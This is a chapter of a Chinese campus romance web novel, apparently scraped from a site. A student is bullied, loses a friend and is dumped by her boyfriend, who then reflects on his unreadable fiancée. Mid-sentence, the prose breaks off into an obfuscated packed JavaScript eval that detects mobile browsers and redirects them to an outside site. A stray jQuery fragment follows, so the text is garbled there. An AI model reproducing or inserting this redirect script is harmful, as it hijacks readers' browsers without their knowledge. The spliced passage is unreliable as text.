白晓梅发觉自己遭到了针对。
只是转身的功夫,作业本就被撕成了雪花状的碎片;去上了个厕所回来,座位上莫名其妙多出了胶水;在食堂刚打了饭就被撞翻……
这种恶作剧比起之前被骗去厕所的那次自然要轻得多,却无孔不入,如同苍蝇一样让人烦不胜烦。
更糟糕的是,论坛上的帖子虽然没了,现实里的议论更多了。
教室、宿舍、食堂、操场、图书馆……不论走到哪里,白晓梅都觉得,好像每个人都在用异样的目光注视着自己。
她不想让许延舟知道,也没有机会让许延舟知道。自从上次在咖啡厅吵了一架,哦不,是她单方面赌气,好几天没有联系他之后,他们就断联了。
也是在这时,白晓梅才发现,他们之间的关系脆弱得可怜。
一旦她不再主动了,那一切都会归于虚无。
偌大的学校四通八达,白晓梅却有了走投无路的错觉。
她终于想起来,虽然英皇没有她的朋友,但她高中时期最好的朋友就在隔着两条街的另一所普通大学。
白晓梅找出联系方式,打算约对方出来聚一聚,顺便倾诉一下。
然而对方开口的语气就让她听出了不对劲。
“太阳从西边出来了,怎么想起来给我打电话了?”
白晓梅有心解释:“最近太忙了,不好意思啊心雨。”
那头的语气没有半分松懈,依旧咄咄逼人:“忙着跟校草谈恋爱吗?”
“……”白晓梅握着手机的手收紧,咬了咬唇,“你怎么知道的?”
“天呐,谁不知道啊?你都快成名人了。我跟你认识那么久怎么都不知道你是这种人,还抢人家的未婚夫!就因为我之前说过跟你是一个高中的,现在天天都有人来问我你是不是以前就这样,我都不好意思跟他们说。”
竟然连其他学校都知道了!可想而知,这件事的传播范围有多广。
白晓梅突然不敢再听下去,唯恐听到什么自己无法接受的消息,慌忙挂断了电话。
后面对方也没有再回拨过来。
白晓梅清晰地意识到,她失去了一个朋友。
或者说,她本来只有这么一个朋友,现在也没了。
泪水顺着脸颊滑落,呜咽的声音被掩藏在薄被之下。
宿舍里暂时没人,白晓梅放心地哭了一场,直到力竭,才浑身颤抖着拨出了那个熟悉的电话号码:“学长,我受不了了。”
许延舟的声音没有什么波澜:“你怎么了?”
“……”白晓梅低下头,没有出声。
她不知道该怎么说,更准确说,难以启齿。
即使这一个月的幸福都是偷来的,她也只想在有限的时间里好好珍惜,因此一直刻意遗忘了许延舟是别人未婚夫的事实。
但说出来了,梦幻的泡影就会被戳破。
没有听到回答,许延舟也没再继续问,而是另起话头:“刚好我有件事想跟你说。”
仿佛世界末日即将到来的不详预感,促使白晓梅咬了咬干燥的嘴唇,哆嗦着问:“你想说什么?”
下一秒,不详的预感就成了真。
电话那头的少年嗓音清润干净,平静得就像是在说今天中午吃什么。
“我们分手吧。”
轰隆!白晓梅身体一震,心口处便传来针扎般的刺痛,豆大的泪珠滚滚落下,眼前的一切都变成了模糊的倒影,世界天旋地转,颠倒成不认识的模样。
“为、为什么啊……”她喉咙哽得发痛,硬生生从嗓子眼里挤出这句话,声音极轻极细,好似一根将断未断的风筝线。
“我们本来就不合适。另外,这样对你也好,分了手那些人就不会再来找你了。”
这几乎是白晓梅听过许延舟说的最长的一段话,内容却如此不近人情,仿佛冬天里的一盆冰水兜头淋下,砸得她瑟瑟发抖。
“学长,能不能、能不能不要分手?”白晓梅哽咽着,泣不成声,“要是我做错了什么,你告诉我……”
还没说完,听筒里就传来了电话被挂断的声音。
“嘟嘟——嘟嘟——”
一声比一声急促,如同在发出窃笑,嘲讽着她的狼狈。
白晓梅呆呆地举着手机,泪水连成线划过下巴,在校服领口上留下大片湿痕。
过了好一会儿,她才回过神来,动了动僵硬的脖颈,看了眼身上的衣服。
对了……司茵学姐的校服,还在她家里。也是时候该还了。
先前一直都没有机会……
白晓梅想到这里,脑海里紧绷的弦蓦地断掉,再次崩溃大哭起来:“哇呜呜呜呜……”
她一直都在骗自己,不管再怎么刻意忽视,许延舟早就有了婚约是无法改变的事实。
她对不起司茵。
可她又做错了什么呢?不仅要每天听着外界的风言风语承受巨大压力,就连以前的好朋友也不理解她……
只是喜欢一个人而已,就要付出这么大的代价吗?
还没到预想中一个月的时间,许延舟就提了分手。她不甘心。
*
“你也很不甘心吧?”
许延舟挂断电话,转身回到自习室里,耳边便再度回响起那天从孙仙乐嘴里吐出来的这句话。
白晓梅在被针对,许延舟一直都知道。
之前不想管,但那群人做得越来越过分,他才找到了幕后主使。
“许学长,什么叫提醒我不准再针对白晓梅?”同样的称呼,从孙仙乐的嘴里说出来就多了几分阴阳怪气,“你是以什么身份来对我说这种话?”
“她是无辜的。我知道你是为了司茵好,但她跟这件事没关系。”
“闭嘴!你不配提茵茵的名字。”孙仙乐冷下脸,眉眼间覆着一层霜色,“你要是真的把茵茵当做未婚妻,就不会跟白晓梅纠缠在一起,更不会来为她出头。”
想起什么,她扬了扬眉毛,怀着几分恶意,“我知道,你跟茵茵青梅竹马。你和所有人一样,喜欢她到发疯。可就算你们订了婚,她还是对你不冷不热,对你跟对其他人没有任何区别。”
根本不管许延舟是什么反应,她看着对方一字一顿,又像是在跟自己说,“所以,你也很不甘心吧?”
许延舟缓缓扭头,如同一个机器人转动很久都没有工作过已经生了锈的零件。
他脸上一直保留的冷静淡漠已经完全崩裂,嘴角绷直,语气更是冷到极致:”随你怎么想。”
像只鬼一样。
孙仙乐没有被吓到,反而幸灾乐祸起来:“一不小心说中你的心事,真是不好意思。对了,你要是想用什么特殊方式,比如跟闲杂人等搅合到一块,让茵茵注意到你。那我只能说你打错算盘了,大错特错!”
这意有所指的话成功让许延舟面色更沉,额角的青筋都神经质地抽搐了两下。
过了好几秒,才平复语气:“能用这种想法揣测别人,说明你也有相同的感受。”
孙仙乐脸上的笑容逐渐消失:“呵呵,你最好祈祷不要别赔了夫人又折兵,搭上自己还让茵茵跟你退婚。”
“不会的。我们不会退婚的。”
……
最后一句话许延舟说得很笃定,但只有他自己知道,他的心里存着十万分的不确定。
就像孙仙乐说的那样,即便是跟司茵青梅竹马一起长大,他也似乎并不了解她。
人人都折服于她温柔美丽的假面之下,他也不例外。
但比起那些人,他看到的更多。
最早发现异常,是在跟司茵一起报班学古琴的那次,十岁出头的小女孩竟然将双手的指尖练习到皮肉脱离,也没喊一声痛。
第二天擦了药还能照常上课,像是什么都没发生过的样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459548|169690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子。
还有一次,在成人礼上,他亲眼看到司茵将一个在背后议论她身材的男性长辈推进游泳池,导致那个男性长辈肺积水住了大半个月的院。
当然,这件事发生在监控的视角盲区,只有他看到了。
然而在他私底下问起这件事的时候,少女用那双漂亮的凤眸望着他,尚且带着婴儿肥的脸蛋上浮现出令人如沐春风的微笑:“你看错了吧,我怎么可能这么做呢?分明是伯伯太不小心踩滑了才摔进去的。”
那一瞬间,许延舟理所当然地相信了。甚至以为亲眼看到的那一幕是自己的幻觉。
直到他越想越不对劲,回到泳池边,在印象里司茵推人下水的那个位置发现了一只遗落的耳坠……
“原来在这里,被你捡到了。”刚好在草坪上寻寻觅觅的司茵走过来,笑意盈盈。
许延舟愣住了,一阵毛骨悚然传遍了他的全身。
但他什么都没说,只是将耳坠原封不动地还给了司茵。
此后的日子里,许延舟更加用心地观察起对方。
他发现,司茵几乎不会对任何人任何事物表现出明显的喜恶倾向。比如她分明不喜欢味道大的食物,也依然会在别人家的筵席上遵循社交礼仪,用完餐再礼貌地夸赞几句。
看起来过分真诚,以至于让主人家心花怒放,沾沾自喜于自己的手艺得到了认可,隔天就亲手做了一份麻辣肉干送过去。
彼时许延舟正好去司家拜访,进门前见到司茵正欣然接受馈赠,并就此延展话题与来人相谈甚欢,离开之际却在开放式厨房的垃圾桶里看到了一口没动的肉干。
——少女的忍耐力超乎寻常,伪装得天衣无缝,几乎没有任何一个人发现过她的真面目。
就算偶然发现了,也只会怀疑是不是自己想太多。
许延舟曾经也以为自己是特别的那一个,他们从小就认识,在一起的时光比其他人多得多,成年后更是顺理成章地订了婚。
不管怎样,司茵的心里都应该有他的一席之地……吧?
但这份自信在进入英皇之后便轰然倒塌了。
司茵比起之前更受欢迎了,少男少女都正处于春心萌动的年纪,从入校那天起,她收到的情书就没有断过,每天都有无数人在去往教学楼的必经之路上蹲守,企图拦路告白。
尽管一个也没成功,全都遭到了婉言谢绝,许延舟却仍是警觉起来,超不经意透露出了自己的身份。
渐渐地,通过他的有意为之,许延舟这个名字和司茵绑在了一起,所有人都知道他们是订过婚的青梅竹马。
但是还不够,少女绽放的光辉如同暗夜里的萤火,依旧在吸引无数飞蛾前仆后继。
许延舟看得出来,那些温柔美丽、善解人意都是伪装。
……可面对他时又何尝不是呢?
嘴角永远定格在某个特定的弧度,微笑仿佛一张生长在皮肉上的面具,那双琉璃般绚丽的眼眸里永远也照不出任何人的身影。
到底要怎么做,才能让她看到他?
许延舟想不明白,直到白晓梅的出现,给他提供了尝试的契机。
或许,司茵也会像他一样,产生嫉妒的情绪吗?
他知道这对白晓梅来说不公平,但事已至此,多说无益。
他唯一的疏漏,是在当初跟她确定恋爱关系时,忘记跟她说明,这只是一场扮演。
毕竟他刚说出口就后悔了,想着不如算了,没想到白晓梅会那么快地答应下来。
“你最好祈祷不要别赔了夫人又折兵,搭上自己还让茵茵跟你退婚。”
孙仙乐含着嘲讽如同诅咒的声音回荡在耳边,许延舟抿着唇,视线一直落在最新一期的权威专业期刊上,却久久没有翻动。
一种即将失去某个重要东西的恐慌从心底深处涌出,像海浪般打来,高高越过他的头顶,带来濒死般的窒息……